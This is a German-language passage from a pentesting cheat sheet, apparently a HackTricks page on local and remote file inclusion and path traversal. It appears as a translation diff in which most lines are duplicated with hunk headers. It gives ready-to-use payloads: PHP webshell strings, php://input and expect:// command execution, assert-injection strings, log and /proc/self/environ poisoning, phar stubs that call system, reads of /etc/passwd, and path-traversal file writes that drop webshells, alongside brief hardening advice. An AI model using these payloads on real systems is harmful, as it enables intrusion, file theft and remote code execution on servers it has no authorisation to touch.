'/etc/passwd'
```
Es ist das beabsichtigte Verhalten gemäß [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
Dies ist das beabsichtigte Verhalten laut [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen wird von der absoluten Pfadkomponente fortgesetzt.
> Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen wird ab der absoluten Pfadkomponente fortgesetzt.
## Java Verzeichnisse auflisten
Es scheint, dass wenn du eine Path Traversal in Java hast und du **nach einem Verzeichnis fragst** anstatt nach einer Datei, eine **Auflistung des Verzeichnisses zurückgegeben wird**. Das tritt in anderen Sprachen nicht auf (soweit ich weiß).
Es scheint, dass wenn man in Java eine Path Traversal hat und man **ein Verzeichnis anfragt** statt einer Datei, eine **Auflistung des Verzeichnisses zurückgegeben wird**. Das passiert in anderen Sprachen nicht (soweit ich weiß).
## Top 25 Parameter
Hier ist eine Liste der Top-25-Parameter, die anfällig für local file inclusion (LFI) Schwachstellen sein könnten (von [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Hier ist eine Liste der Top-25-Parameter, die anfällig für local file inclusion (LFI)-Schwachstellen sein könnten (von [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,18 +210,18 @@ Hier ist eine Liste der Top-25-Parameter, die anfällig für local file inclusio
?mod={payload}
?conf={payload}
```
## LFI / RFI mit PHP wrappers & protocols
## LFI / RFI mithilfe von PHP-Wrappers & Protokollen
### php://filter
PHP-Filter erlauben es, grundlegende **Modifikationsoperationen an den Daten** durchzuführen, bevor diese gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
PHP-Filters erlauben das Durchführen grundlegender **Modifikationsoperationen an den Daten**, bevor diese gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Entfernt Tags aus den Daten (alles zwischen den Zeichen "<" und ">")
- Beachte, dass dieser Filter in modernen PHP-Versionen nicht mehr vorhanden ist
- `string.strip_tags`: Entfernt Tags aus den Daten (alles zwischen "<" und ">" Zeichen)
- Beachte, dass dieser Filter in modernen Versionen von PHP nicht mehr vorhanden ist
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
@ -231,18 +230,18 @@ PHP-Filter erlauben es, grundlegende **Modifikationsoperationen an den Daten** d
- `convert.iconv.*` : Wandelt in eine andere Kodierung um (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Kodierungen** zu erhalten, führe in der Konsole aus: `iconv -l`
> [!WARNING]
> Durch Missbrauch des `convert.iconv.*`-Konvertierungsfilters kannst du **beliebigen Text erzeugen**, was nützlich sein kann, um beliebigen Text zu schreiben oder eine Funktion wie include dazu zu bringen, beliebigen Text zu verarbeiten. Für mehr Informationen siehe [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Durch Missbrauch des `convert.iconv.*` Conversion-Filters kann man **beliebigen Text erzeugen**, was nützlich sein kann, um beliebigen Text zu schreiben oder Funktionen wie include beliebigen Text verarbeiten zu lassen. Für mehr Infos siehe [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Komprimiert den Inhalt (nützlich beim Exfiltrieren großer Datenmengen)
- `zlib.deflate`: Komprimiert den Inhalt (nützlich beim exfiltrating großer Informationsmengen)
- `zlib.inflate`: Dekomprimiert die Daten
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : veraltet
- `mdecrypt.*` : veraltet
- `mcrypt.*` : Veraltet
- `mdecrypt.*` : Veraltet
- Other Filters
- Wenn man in PHP `var_dump(stream_get_filters());` ausführt, findest du ein paar **unerwartete Filter**:
- Führt man in PHP `var_dump(stream_get_filters());` aus, findet man ein paar **unerwartete Filter**:
- `consumed`
- `dechunk`: kehrt HTTP Chunked-Encoding um
- `dechunk`: kehrt HTTP chunked encoding um
- `convert.*`
```php
# String Filters
@ -271,39 +270,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> Der Abschnitt "php://filter" beachtet die Groß-/Kleinschreibung nicht
> Der Teil "php://filter" ist nicht case-sensitiv
### Verwendung von php filters als Oracle zum Lesen beliebiger Dateien
### Verwendung von php filters als oracle, um beliebige Dateien zu lesen
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer **boolean exfiltration of the file (char by char) using php filters** als Oracle. Das liegt daran, dass php filters verwendet werden können, um einen Text so zu vergrößern, dass php eine Exception wirft.
[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, mit der sich eine lokale Datei lesen lässt, ohne dass die Ausgabe vom Server direkt zurückgegeben wird. Diese Technik basiert auf einer **boolean exfiltration of the file (char by char) using php filters** als oracle. Das liegt daran, dass php filters verwendet werden können, um einen Text so groß zu machen, dass php eine Exception wirft.
Im Originalbeitrag findest du eine detaillierte Erklärung der Technik, hier eine kurze Zusammenfassung:
Im Originalbeitrag findet sich eine detaillierte Erklärung der Technik, hier eine kurze Zusammenfassung:
- Verwende den Codec **`UCS-4LE`**, um das führende Zeichen des Textes an seinem Platz zu belassen und die Länge des Strings exponentiell anwachsen zu lassen.
- Damit wird ein **Text erzeugt, der so groß ist, wenn der Anfangsbuchstabe korrekt geraten wurde**, dass php einen **error** auslöst.
- Der Filter **dechunk** wird **alles entfernen, wenn das erste Zeichen kein hexadecimal ist**, sodass wir feststellen können, ob das erste Zeichen hex ist.
- Dies, kombiniert mit dem vorherigen (und anderen Filtern abhängig vom geratenen Zeichen), erlaubt es uns, ein Zeichen am Anfang des Textes zu erraten, indem wir beobachten, wann genügend Transformationen angewendet wurden, damit es kein hexadecimal Zeichen mehr ist. Denn wenn es hex ist, löscht dechunk es nicht und die anfängliche Bombe verursacht einen php error.
- Der Codec **convert.iconv.UNICODE.CP930** verwandelt jeden Buchstaben in den folgenden (also nach diesem Codec: a -> b). Das erlaubt uns herauszufinden, ob das erste Zeichen z.B. ein `a` ist, denn wenn wir diesen Codec sechsmal anwenden (a->b->c->d->e->f->g), gehört das Zeichen nicht mehr zum hexadecimal-Bereich, daher löscht dechunk es nicht und der php error wird ausgelöst, weil er sich mit der initialen Bombe multipliziert.
- Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere chars zu leak'en wie n, o, p, q, r (und andere Codecs können verwendet werden, um andere Buchstaben in den hex-Bereich zu verschieben).
- Wenn das Anfangszeichen eine Zahl ist, muss es base64-encodiert werden und die ersten 2 Buchstaben leak'en, um die Zahl zu leak'en.
- Das finale Problem ist zu sehen, **wie man mehr als das Anfangszeichen leak'en kann**. Durch die Verwendung von Order-Memory-Filtern wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an die erste Position andere Buchstaben des Textes zu bringen.
- Und um **further data** erhalten zu können, besteht die Idee darin, mit **generate 2 bytes of junk data at the beginning** mittels **convert.iconv.UTF16.UTF16** 2 Byte Junk am Anfang zu erzeugen, **UCS-4LE** anzuwenden, damit es **pivot with the next 2 bytes**, und d**elete the data until the junk data** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Führe dies so lange fort, bis du das gewünschte Bit zum leak'en erreicht hast.
- Verwende den Codec **`UCS-4LE`**, um das führende Zeichen des Textes am Anfang zu belassen und die Größe des Strings exponentiell zu vergrößern.
- Das wird genutzt, um einen **Text zu erzeugen, der so groß ist, wenn der Anfangsbuchstabe korrekt geraten wurde**, dass php einen **Fehler** auslöst.
- Der **dechunk** Filter wird **alles löschen, wenn das erste Zeichen kein hexadezimales Zeichen ist**, sodass wir herausfinden können, ob das erste Zeichen hex ist.
- Dies, kombiniert mit dem vorherigen (und anderen Filtern abhängig vom geratenen Zeichen), erlaubt es uns, ein Zeichen am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um es aus dem hex-Bereich zu bewegen. Denn wenn es hex ist, löscht dechunk es nicht und die initiale Bombe verursacht den php-Fehler.
- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (also nach diesem codec: a -> b). Dadurch können wir z. B. erkennen, ob das erste Zeichen ein `a` ist, weil wenn wir diesen Codec 6-mal anwenden a->b->c->d->e->f->g, das Zeichen nicht mehr hexadezimal wäre; folglich löscht dechunk es nicht und der php-Fehler wird ausgelöst, weil er mit der initialen Bombe multipliziert.
- Durch andere Transformationen wie **rot13** am Anfang ist es möglich, weitere Zeichen wie n, o, p, q, r zu leak'en (und andere Codecs können verwendet werden, um andere Buchstaben in den hex-Bereich zu verschieben).
- Wenn das Anfangszeichen eine Zahl ist, muss es base64 enkodiert werden und die ersten 2 Zeichen per leak ermittelt werden, um die Zahl zu erhalten.
- Das finale Problem ist zu sehen, **wie man mehr als das Anfangszeichen leaked**. Durch Einsatz von Order-Memory-Filtern wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und so andere Zeichen des Textes an die erste Position zu bringen.
- Und um weitere Daten zu erhalten besteht die Idee darin, **zwei Bytes Junk-Daten am Anfang** mit **convert.iconv.UTF16.UTF16** zu erzeugen, **UCS-4LE** anzuwenden, um sie **mit den nächsten 2 Bytes zu pivotieren**, und die Daten bis zu den Junk-Bytes zu löschen (das entfernt die ersten 2 Bytes des ursprünglichen Textes). Dies wird so lange wiederholt, bis das gewünschte Bit zum leak erreicht ist.
Im Beitrag wurde außerdem ein Tool geleaked, um dies automatisch auszuführen: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
Im Beitrag wurde auch ein Tool zum automatisierten Ausführen geleakt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Dieser Wrapper erlaubt den Zugriff auf file descriptors, die der Prozess offen hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrate:
Dieser wrapper erlaubt den Zugriff auf file descriptors, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Du kannst auch **php://stdin, php://stdout und php://stderr** verwenden, um jeweils auf die **file descriptors 0, 1 und 2** zuzugreifen (nicht sicher, wie das bei einem Angriff nützlich sein könnte)
Du kannst auch **php://stdin, php://stdout and php://stderr** verwenden, um jeweils auf die **file descriptors 0, 1 and 2** zuzugreifen (ich bin mir nicht sicher, wie das in einem Angriff nützlich sein könnte)
### zip:// and rar://
Lade eine Zip- oder Rar-Datei mit einer PHPShell darin hoch und greife darauf zu.\
Um das rar-Protokoll missbrauchen zu können, muss es **speziell aktiviert** werden.
Um das rar-Protokoll missbrauchen zu können, muss es **speziell aktiviert werden**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -332,20 +331,20 @@ Beachte, dass dieses Protokoll durch php-Konfigurationen **`allow_url_open`** un
### expect://
Expect muss aktiviert sein. Du kannst Code damit ausführen:
Expect muss aktiviert sein. Du kannst damit Code ausführen:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Gib dein payload in den POST-Parametern an:
Gib deinen payload in den POST-Parametern:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Eine `.phar`-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie `include` zur Dateiladung verwendet. Der unten stehende PHP-Code zeigt die Erstellung einer `.phar`-Datei:
Eine `.phar`-Datei kann genutzt werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie `include` zum Laden von Dateien verwendet. Der unten gezeigte PHP-Code-Schnipsel demonstriert die Erstellung einer `.phar`-Datei:
```php
<?php
$phar = new Phar('test.phar');
@ -354,15 +353,15 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Um die `.phar`-Datei zu erstellen, sollte der folgende Befehl ausgeführt werden:
Um die `.phar`-Datei zu kompilieren, sollte der folgende Befehl ausgeführt werden:
```bash
php --define phar.readonly=0 create_path.php
```
Beim Ausführen wird eine Datei mit dem Namen `test.phar` erstellt, die möglicherweise zur Ausnutzung von Local File Inclusion (LFI)-Schwachstellen verwendet werden kann.
Beim Ausführen wird eine Datei mit dem Namen `test.phar` erstellt, die potenziell genutzt werden könnte, um Local File Inclusion (LFI)-Schwachstellen auszunutzen.
In Fällen, in denen das LFI nur das Lesen von Dateien durchführt, ohne den darin enthaltenen PHP-Code auszuführen — z. B. durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` — könnte versucht werden, eine deserialization vulnerability auszunutzen. Diese Schwachstelle hängt mit dem Lesen von Dateien über das `phar`-Protokoll zusammen.
In Fällen, in denen die LFI nur Dateien liest, ohne den darin enthaltenen PHP-Code auszuführen, etwa über Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()`, könnte versucht werden, eine Deserialisierungs-Schwachstelle auszunutzen. Diese Schwachstelle hängt mit dem Lesen von Dateien über das `phar`-Protokoll zusammen.
Für ein detailliertes Verständnis zur Ausnutzung von deserialization vulnerabilities im Kontext von `.phar`-Dateien siehe das unten verlinkte Dokument:
Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungs-Schwachstellen im Zusammenhang mit `.phar`-Dateien, siehe das unten verlinkte Dokument:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -373,36 +372,36 @@ phar-deserialization.md
### CVE-2024-2961
Es war möglich, **any arbitrary file read from PHP that supports php filters** zu missbrauchen, um RCE zu erlangen. Die detaillierte Beschreibung kann [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Sehr kurze Zusammenfassung: Ein **3 byte overflow** im PHP-Heap wurde missbraucht, um die **chain of free chunks** einer bestimmten Größe zu verändern, um **anything in any address** schreiben zu können; daher wurde ein Hook hinzugefügt, der **`system`** aufruft.\
Es war möglich, durch Ausnutzung weiterer php filters Chunks mit bestimmten Größen zu allocen.
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Kurzfassung: Ein **3 byte overflow** im PHP-Heap wurde ausgenutzt, um die **Kette freier Chunks** einer bestimmten Größe zu verändern, um **beliebigen Inhalt an beliebiger Adresse schreiben** zu können, weshalb ein Hook hinzugefügt wurde, um **`system`** aufzurufen.\
Es war möglich, Chunks bestimmter Größen zu allocen, indem weitere php filters missbraucht wurden.
### More protocols
### Weitere Protokolle
Siehe weitere mögliche [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Weitere mögliche[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Schreibt in den Speicher oder in eine temporäre Datei (nicht sicher, wie das in einem file inclusion attack nützlich sein kann)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Schreibt in den Speicher oder in eine temporäre Datei (nicht sicher, wie das in einem file inclusion Angriff nützlich sein kann)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Zugriff auf das lokale Dateisystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Zugriff auf HTTP(s)-URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Zugriff auf FTP(s)-URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressions-Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Findet Pfadnamen, die einem Muster entsprechen (gibt keine druckbaren Ergebnisse zurück, daher hier nicht wirklich nützlich)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Findet Pfadnamen, die einem Muster entsprechen (Gibt nichts Druckbares zurück, daher hier nicht wirklich nützlich)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audiostreams (nicht nützlich, um arbitrary files zu lesen)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Nicht nützlich, um beliebige Dateien zu lesen)
## LFI via PHP's 'assert'
## LFI über PHPs 'assert'
Die Risiken von Local File Inclusion (LFI) in PHP sind besonders hoch, wenn die Funktion 'assert' verwendet wird, da diese Code innerhalb von Strings ausführen kann. Das ist besonders problematisch, wenn Eingaben mit directory traversal-Zeichen wie ".." geprüft, aber nicht richtig bereinigt werden.
Die Risiken von Local File Inclusion (LFI) in PHP sind besonders hoch im Umgang mit der 'assert'-Funktion, die Code innerhalb von Strings ausführen kann. Das ist besonders problematisch, wenn Eingaben mit directory traversal Zeichen wie ".." geprüft, aber nicht richtig bereinigt werden.
Zum Beispiel könnte PHP-Code so gestaltet sein, um directory traversal zu verhindern:
Beispielsweise könnte PHP-Code so ausgelegt sein, directory traversal zu verhindern:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Während dies darauf abzielt, traversal zu verhindern, schafft es unbeabsichtigt einen Vektor für code injection. Um dies auszunutzen, um Dateiinhalte zu lesen, könnte ein Angreifer Folgendes verwenden:
Während dies traversal verhindern soll, schafft es unbeabsichtigt einen Vektor für code injection. Um dies zum Auslesen von Dateiinhalten auszunutzen, könnte ein Angreifer Folgendes verwenden:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Ähnlich kann man zum Ausführen beliebiger Systembefehle Folgendes verwenden:
Ähnlich dazu, um beliebige Systembefehle auszuführen, könnte man verwenden:
```plaintext
' and die(system("id")) or '
```
@ -411,36 +410,36 @@ Es ist wichtig, **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Diese Technik ist relevant in Fällen, in denen du den **file path** einer **PHP function** **control**ierst, die auf eine **file** **access**iert, deren Inhalt du aber nicht sehen wirst (z. B. ein einfacher Aufruf von **`file()`**), der Inhalt jedoch nicht angezeigt wird.
> Diese Technik ist relevant in Fällen, in denen du die **control** über den **file path** einer **PHP function** hast, die eine **access a file** durchführt, du aber den Inhalt der Datei nicht siehst (wie ein einfacher Aufruf von **`file()`**), obwohl der Inhalt nicht angezeigt wird.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blind path traversal über PHP-Filter ausgenutzt werden kann, um **exfiltrate the content of a file via an error oracle**.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blind path traversal über PHP filter missbraucht werden kann, um den Inhalt einer Datei via an error oracle zu exfiltrate.
Zusammengefasst verwendet die Technik die **"UCS-4LE" encoding**, um den Inhalt einer Datei so groß zu machen, dass die PHP-Funktion, die die Datei öffnet, einen **error** auslöst.
Zusammenfassend verwendet die Technik die **"UCS-4LE" encoding**, um den Inhalt einer Datei so **big** zu machen, dass die **PHP function opening** die Datei einen **error** auslöst.
Um das erste Zeichen zu leak wird der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet; schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** eingesetzt, um andere Zeichen am Anfang zu platzieren und diese zu leak.
Dann wird, um das erste Zeichen zu leak, der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** genutzt, um **place other chars at the beggining and leak them**.
Funktionen, die möglicherweise verwundbar sind: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Funktionen, die anfällig sein könnten: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Für die technischen Details siehe den erwähnten Beitrag!
Für technische Details siehe den genannten Beitrag!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
Wenn serverseitiger Code, der Dateien entgegennimmt/hochlädt, den Zielpfad mithilfe von nutzerkontrollierten Daten (z. B. einem Dateinamen oder einer URL) zusammensetzt, ohne zu kanonisieren und zu validieren, können `..`-Segmente und absolute Pfade aus dem vorgesehenen Verzeichnis ausbrechen und einen beliebigen Datei-Write verursachen. Wenn du die Payload in einem web-exposed directory ablegen kannst, erhältst du in der Regel unauthenticated RCE, indem du eine Webshell ablegst.
Wenn serverseitiger Code, der Dateien entgegennimmt/hochlädt, den Zielpfad unter Verwendung von von Benutzern kontrollierten Daten (z. B. ein Dateiname oder eine URL) ohne Canonicalisierung und Validierung zusammensetzt, können `..`-Segmente und absolute Pfade aus dem vorgesehenen Verzeichnis entkommen und ein beliebiges Datei-Write verursachen. Wenn du das Payload in ein web-exposed Verzeichnis platzieren kannst, erhältst du in der Regel unauthenticated RCE, indem du eine Webshell ablegst.
Typischer Exploit-Ablauf:
- Identifiziere ein write primitive in einem Endpoint oder Background-Worker, das einen Pfad/Dateinamen akzeptiert und Inhalt auf die Festplatte schreibt (z. B. message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Bestimme web-exposed directories. Häufige Beispiele:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Erzeuge einen Traversal-Pfad, der aus dem vorgesehenen Speicherverzeichnis in das webroot ausbricht, und füge deinen Webshell-Inhalt ein.
- Rufe die abgelegte Payload im Browser auf und führe Befehle aus.
- Identifiziere ein Schreib-Primitive in einem Endpoint oder Hintergrund-Worker, das einen Pfad/Dateinamen akzeptiert und Inhalt auf die Festplatte schreibt (z. B. message-driven ingestion, XML/JSON command handlers, ZIP extractors, usw.).
- Bestimme web-exposed Verzeichnisse. Häufige Beispiele:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Erzeuge einen Traversal-Pfad, der aus dem vorgesehenen Storage-Verzeichnis in die Webroot ausbricht, und füge deinen Webshell-Inhalt ein.
- Rufe das abgelegte Payload im Browser auf und führe Befehle aus.
Hinweise:
- Der verwundbare Service, der den Write durchführt, kann auf einem non-HTTP port lauschen (z. B. ein JMF XML listener auf TCP 4004). Das Haupt-Web-Portal (anderer Port) wird später deine Payload servieren.
- In Java-Stacks werden diese Datei-Schreibvorgänge häufig mit einfacher `File`/`Paths`-Konkatenation implementiert. Fehlende Kanonisierung/Allow-Listing ist der Kernfehler.
- Der verwundbare Dienst, der den Schreibvorgang ausführt, kann auf einem non-HTTP-Port lauschen (z. B. ein JMF XML listener auf TCP 4004). Das Hauptwebportal (anderer Port) wird später dein Payload bereitstellen.
- Auf Java-Stacks werden diese Datei-Schreibvorgänge oft mit einfacher `File`/`Paths`-Konkatenation implementiert. Das Fehlen von Canonicalisierung/Allow-Listing ist der Kernfehler.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -466,26 +465,26 @@ in.transferTo(out);
</Command>
</JMF>
```
Hardening that defeats this class of bugs:
- Auf einen kanonischen Pfad auflösen und durchsetzen, dass er ein Nachfahre eines allow-listed Basisverzeichnisses ist.
- Pfade ablehnen, die `..`, absolute Roots oder Laufwerksbuchstaben enthalten; bevorzugt generierte Dateinamen.
- Den Writer als ein niedrig privilegiertes Konto ausführen und Schreibverzeichnisse von den bereitgestellten Root-Verzeichnissen trennen.
Härtungsmaßnahmen, die diese Klasse von Schwachstellen abwehren:
- Auf einen kanonischen Pfad auflösen und sicherstellen, dass er ein Unterverzeichnis eines zugelassenen Basisverzeichnisses ist.
- Jeden Pfad ablehnen, der `..`, absolute Wurzeln oder Laufwerksbuchstaben enthält; generierte Dateinamen bevorzugen.
- Den Schreibprozess als niedrig privilegiertes Konto ausführen und Schreibverzeichnisse von den ausgelieferten Root-Verzeichnissen trennen.
## Remote File Inclusion
Explained previously, [**follow this link**](#remote-file-inclusion).
Erklärt zuvor, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
### Über Apache/Nginx-Logdatei
Wenn der Apache- oder Nginx-Server innerhalb der include-Funktion **anfällig für LFI** ist, kannst du versuchen, auf **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** zuzugreifen, in den **user agent** oder in einen **GET parameter** eine php shell wie **`<?php system($_GET['c']); ?>`** zu setzen und diese Datei einzubinden
Wenn der Apache- oder Nginx-Server **vulnerable to LFI** im include-Mechanismus ist, können Sie versuchen, auf **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** zuzugreifen, im **user agent** oder in einem **GET parameter** eine php-Shell wie **`<?php system($_GET['c']); ?>`** zu setzen und diese Datei zu includen
> [!WARNING]
> Beachte, dass **wenn du doppelte Anführungszeichen** für die Shell anstelle von **einfacher Anführungszeichen** verwendest, die doppelten Anführungszeichen in den String "_**quote;**_" umgewandelt werden, **PHP dort einen Fehler werfen wird** und **nichts weiter ausgeführt wird**.
> Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell statt **einfache Anführungszeichen** verwenden, die doppelten Anführungszeichen für den String "_**quote;**_" verändert werden, **PHP dort einen Fehler wirft** und **nichts weiter ausgeführt wird**.
>
> Stelle außerdem sicher, dass du **den payload korrekt schreibst** oder PHP bei jedem Versuch, die Logdatei zu laden, einen Fehler auslösen wird und du keine zweite Gelegenheit haben wirst.
> Außerdem stellen Sie sicher, dass Sie **das payload korrekt schreiben**, sonst wirft PHP jedes Mal einen Fehler, wenn es versucht, die Logdatei zu laden, und Sie bekommen keine zweite Gelegenheit.
Das kann auch in anderen Logs gemacht werden, aber **sei vorsichtig,** der Code in den Logs kann URL-codiert sein und das könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Logs decodiert. Die PHPShell könnte innerhalb dieses Headers eingefügt werden.\
Other possible log paths:
Das könnte auch in anderen Logs funktionieren, aber **vorsichtig sein,** der Code in den Logs könnte URL encoded sein und dadurch die Shell zerstört werden. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Logs dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.\
Weitere mögliche Logpfade:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -501,42 +500,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### Per E-Mail
**Send a mail** an ein internes Konto (user@localhost), das deinen PHP payload wie `<?php echo system($_REQUEST["cmd"]); ?>` enthält, und versuche, die Mail des Benutzers mit einem Pfad wie **`/var/mail/<USERNAME>`** oder **`/var/spool/mail/<USERNAME>`** zu include.
**Sende eine E-Mail** an ein internes Konto (user@localhost), die deinen PHP-Payload wie `<?php echo system($_REQUEST["cmd"]); ?>` enthält und versuche, die Mail des Benutzers mit einem Pfad wie **`/var/mail/<USERNAME>`** oder **`/var/spool/mail/<USERNAME>`** einzubinden.
### Über /proc/*/fd/*
### Über /proc/\*/fd/\*
1. Lade viele shells hoch (zum Beispiel: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), wobei $PID die PID des Prozesses ist (kann per Brute-Force ermittelt werden) und $FD der file descriptor ist (kann ebenfalls per Brute-Force ermittelt werden)
1. Lade viele shells hoch (z. B.: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), mit $PID = PID des Prozesses (can be brute forced) und $FD = file descriptor (can be brute forced too)
### Über /proc/self/environ
Ähnlich wie bei einer Logdatei: sende den payload im User-Agent; er wird in der /proc/self/environ-Datei reflektiert.
Wie bei einer Logdatei: Sende den payload im User-Agent; er wird in der Datei /proc/self/environ reflektiert.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
### Per upload
Wenn du eine Datei uploaden kannst, injiziere einfach die shell payload darin (z. B.: `<?php system($_GET['c']); ?>`).
Wenn du eine Datei uploaden kannst, injiziere einfach das shell payload hinein (z. B.: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Um die Datei lesbar zu halten, ist es am besten, den Inhalt in die Metadaten von Bildern/Dokumenten/PDFs einzubetten
